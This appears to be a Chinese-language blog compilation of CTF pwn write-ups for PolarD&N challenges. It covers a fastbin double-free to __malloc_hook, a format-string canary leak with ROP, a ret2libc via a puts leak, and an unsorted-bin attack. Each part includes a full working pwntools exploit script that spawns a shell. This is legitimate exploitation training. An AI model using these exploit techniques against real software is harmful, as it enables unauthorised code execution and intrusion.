show_chunk(0)
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c4b78
info("libc base : 0x%x" % libc.address)
add_chunk(0, 0x68)
add_chunk(1, 0x68)
delete_chunk(0)
delete_chunk(1)
delete_chunk(0)
add_chunk(0, 0x68)
edit_chunk(0, p64(libc.sym["__malloc_hook"] -0x23))
add_chunk(0, 0x68)
add_chunk(0, 0x68)
add_chunk(0, 0x68)
add_chunk(1, 1)
p.interactive()
PWN PolarD&N_CTF_fmt_text
一、查看题目信息
file pwn
checksec pwn

程序为32位elf文件,开启了NX保护和Canary保护
二、漏洞分析
将程序放到ida里分析,查看main()函数:

init()就是初始化函数没有什么东西:

看看yichu()函数:

这里进行了俩次输入和两次输出,有明显的格式化字符串漏洞,我们利用第一次格式化字符串泄露canary的地址,之后便可以实现栈溢出了。
还会发现一个x6()函数:

里面有system()函数。
在bss段上可以看见buf数组:

说明你可以在bss段上写上你想要的东西。
三、解题思路
-
查看文件格式;
-
通过格式化字符串去泄露
canary的值; -
实现栈溢出利用
system()函数再利用gets()函数写入/bin/sh达到提权 -
getshell。
四、编写脚本
因上述,我们知printf格式化字符串漏洞出现在yichu()函数中。
接下来用disass反汇编,找到canary的偏移。
disass yichu

观看上图,我们可以知道canary就藏在[ebp-0Xc]之中。
在格式化字符串的地方下断点,因为存在两次输入,所以应该运行两次。
第一次运行,自己先填充aaaa四个字节。

第二次运行,填充bbbb四个字节。

然后查看一下栈的空间。

我们先打印一下canary的位置在哪里。

接下来我们在栈中找到这个地址的位置,然后经过计算128/4-1=31可知canary位于第31个参数的位置,即%31$p。

接下来构造rop链进行攻击:
先gdb调试分别找出第一段垃圾数据和第二段垃圾数据的大小:

查找第一次输入的地方,上面我们发现canary的位置在0128,所以可以计算他们之间行数差为(128-28)/4=25,第一次垃圾数据的大小应该为25*4。
接下来进行第二次垃圾数据的填充,用reg指令查找ebp的位置。

同理,查找canary到ebp的距离,并计算出垃圾数据的大小为3*4。

接下来,就构造rop链进行攻击。
pay1=b'a'*25*4
pay1+=p32(canary)
pay1+=b'a'*3*4
pay1+=p32(yichu_addr)
溢出之后调用gets()函数然后调用system()函数,用gets()写入/bin/sh作为system()函数参数.
五、EXP
from pwn import*
io = remote('8.140.194.194',10000)
gets_addr = 0x08048430
system_addr = 0x8048460
buf_addr = 0x0804A080
io.sendline(b"%31$p")
canary=int(io.recv(),16)
print("camary>>>",hex(canary))
pay1=b'a'*25*4
pay1+=p32(canary)
pay1+=b'a'*3*4
pay1+=p32(gets_addr)
pay1+=p32(system_addr)
pay1+=p32(buf_addr)
pay1+=p32(buf_addr)
io.sendline(pay1)
io.sendline('sh')
io.interactive()
PWN PolarD&N_CTF_libc
一、查看题目信息
file pwn1
checksec pwn1
发现这个ELF文件它是一位32位的动态程序,而且开启了栈不可执行保护

二、分析题目漏洞
int jiu()
{
char buf[58]; // [esp+Eh] [ebp-3Ah] BYREF
puts("like");
read(0, buf, 0x50u);
return 0;
}
定义变量buf发现存在溢出,我们shift+f12发现题目没有后面函数以及bin/sh

所以说我们这道题可以通过泄露puts的libc来做
payload = 垃圾数据 + p32(elf.plt['puts']) + p32(返回的函数地址) + p32(elf.got['puts'])
三、做题思路
1、泄露puts的libcm找到puts的地址;
2、计算基地址;
3、构造payload。
四、解题步骤
通过泄露put的libc


找出返回的函数地址,算出puts的真实地址进而算出基地址
payload = 垃圾数据 + p32(elf.plt['puts']) + p32(返回的函数地址) + p32(elf.got['puts'])

去网站下下载对应的libc库
puts_real = puts_addr - libc.symbols['puts']
sys_addr = puts_real + libc.symbols['system']
binsh = puts_real + next(libc.search(b'/bin/sh'))
然后构造二次payload即可
五、exp.py
from pwn import *
r = process('./pwn1')
padding = 0x3A + 4
elf = ELF('./pwn1')
libc = ELF('./libc.so')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x8048561
payload = b'a'*padding + p32(puts_plt) + p32(main_addr)+p32(puts_got)
r.sendlineafter(b'like\n',payload)
puts_addr = u32(r.recv(4))
print(hex(puts_addr))
puts_real = puts_addr - libc.symbols['puts']
sys_addr = puts_real + libc.symbols['system']
binsh = puts_real + next(libc.search(b'/bin/sh'))
payload2 = b'a'*padding + p32(sys_addr)+b'aaaa'+p32(binsh)
r.sendlineafter(b'like',payload2)
#r.sendline(payload2)
r.interactive()
PWN PolarD&N_CTF_thinks
一、查看题目信息
首先,我们需要查看程序的基本信息和安全保护机制:
$ file thinks
$ checksec thinks

64位的可执行文件,并且开启了部分RELRO保护,开启了Stack保护和NX保护。
二、漏洞分析
将程序放到IDA里分析,查看main()函数:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
const char *v4; // rdi
int v5; // eax
char buf; // [rsp+0h] [rbp-10h]
unsigned __int64 v7; // [rsp+8h] [rbp-8h]
v7 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
v3 = 0LL;
v4 = (const char *)stdin;
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu(v4, v3);
v3 = &buf;
read(0, &buf, 8uLL);
v4 = &buf;
v5 = atoi(&buf);
if ( v5 != 3 )
break;
delete_blessing(&buf, &buf);
}
if ( v5 > 3 )
{
if ( v5 == 4 )
exit(0);
if ( v5 == 5212 )
{
if ( (unsigned __int64)magic <= 0x145C )
{
v4 = "So sad !";
puts("So sad !");
}
else
{
v4 = "Congrt !";
puts("Congrt !");
wish("Congrt !", &buf);
}
}
else
{
LABEL_17:
v4 = "Invalid Choice";
puts("Invalid Choice");
}
}
else if ( v5 == 1 )
{
create_blessing(&buf, &buf);
}
else
{
if ( v5 != 2 )
goto LABEL_17;
edit_blessing(&buf, &buf);
}
}
}
看一下menu()函数:
int menu()
{
puts("--------------------------------");
puts(" Happy NewYear ");
puts("--------------------------------");
puts(" 1. Create blessing ");
puts(" 2. Edit blessing ");
puts(" 3. Delete blessing ");
puts(" 4. Exit ");
puts("--------------------------------");
return printf("Your best choice :");
}
一个菜单功能函数。
create_blessing()函数分析:
1 首先是分配内存,整个程序具备这个功能的就是add_note:
unsigned __int64 create_blessing()
{
signed int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of blessing : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
heaparray[i] = malloc(size);
if ( !heaparray[i] )
{
puts("blessing Error");
exit(2);
}
printf("Content of blessing:", &buf);
read_input(heaparray[i], size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
这个函数的作用是创建一个祝福对象,分配内存。函数中有一个循环,检查heaparray数组中是否有空的位置(i从0到9),如果有的话,就读取用户输入的size,然后分配内存,并存储到heaparray[i]。接着读取内容到该内存块,然后返回。
edit_blessing函数分析:
unsigned __int64 edit_blessing()
{
__int64 v0; // ST08_8
int v2; // [rsp+4h] [rbp-1Ch]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v2 = atoi(&buf);
if ( v2 < 0 || v2 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v2] )
{
printf("Size of blessing : ", &buf);
read(0, &buf, 8uLL);
v0 = atoi(&buf);
printf("Content of blessing : ", &buf);
read_input(heaparray[v2], v0);
puts("Done !");
}
else
{
puts("No such blessing !");
}
return __readfsqword(0x28u) ^ v4;
}
这个函数的作用是编辑已存在的祝福。用户输入index,然后检查是否有效。如果有效,则读取新的size(v0),然后读取v0大小的内容到heaparray[v2]指向的堆块中。
这里的问题可能在于,编辑时指定的size可能比原始分配的堆块大小更大,导致堆溢出
delete_blessing函数分析:
unsigned __int64 delete_blessing()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
free(heaparray[v1]);
heaparray[v1] = 0LL;
puts("Done !");
}
else
{
puts("No such blessing !");
}
return __readfsqword(0x28u) ^ v3;
}
这个函数用于释放指定index的堆块,并将指针置零,避免UAF。所以这里释放后将heaparray[v1]设为0,所以没有Use-after-Free的问题,因为后续的edit或delete会检查指针是否存在。
wish()函数分析:
int wish()
{
return system("/bin/sh");
}
有我们希望看到的后门函数。
三、解题思路
1.malloc三块堆块chunk0,chunk1,chunk2。 chunk0通过堆溢出,修改放到unsorted-bin中的chunk1的bk指针,chunk1用于构成unsorted-bin-chunk,chunk2用于隔离top-chunk,避免consolidate合并;
2.free chunk1 放入unsorted bin;
3.溢出写chunk0 修改 chunk1的部分内容,注意满足堆管理头部字段的值的要求;
4.malloc与chunk1同样大小的堆块,触发unsorted bin attack。
5.输入5212获得flag回显。
四、编写脚本
本题是 利用unsorted-bin攻击机制,通过控制bk指针将大数写入堆栈的漏洞,展示了从分配内存、避免合并、修改bk指针到触发任意地址写的过程。
1.首先通过调用 create_heap() 三次,malloc三块堆块chunk0,chunk1,chunk2。 chunk0通过堆溢出,修改放到unsorted-bin中的chunk1的bk指针,chunk1用于构成unsorted-bin-chunk,chunk2用于隔离top-chunk,避免consolidate合并。
create_heap(0x20, "dada") # 0
create_heap(0x80, "dada") # 1
create_heap(0x20, "dada") # 2
-
free chunk ->unsorted bin。

-
利用edit函数构造堆块内容,修改链入unsorted bin的freechunk的bk指针为&magic-16。

-
malloc与chunk1同样大小的堆块,触发unsorted bin attack。

-
magic的值成为unsorte-bin头部地址,修改的非常大,符合条件
-

五、Exp脚本
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./thinks')
def create_heap(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def edit_heap(idx, size, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def del_heap(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
create_heap(0x20, "dada") # 0
create_heap(0x80, "dada") # 1
# in order not to merge into top chunk
create_heap(0x20, "dada") # 2
del_heap(1)
magic = 0x6020c0
fd = 0
bk = magic - 0x10
edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
create_heap(0x80, "dada") #trigger unsorted bin attack
r.recvuntil(":")
r.sendline("5212")
r.interactive()
1429

被折叠的 条评论
为什么被折叠?



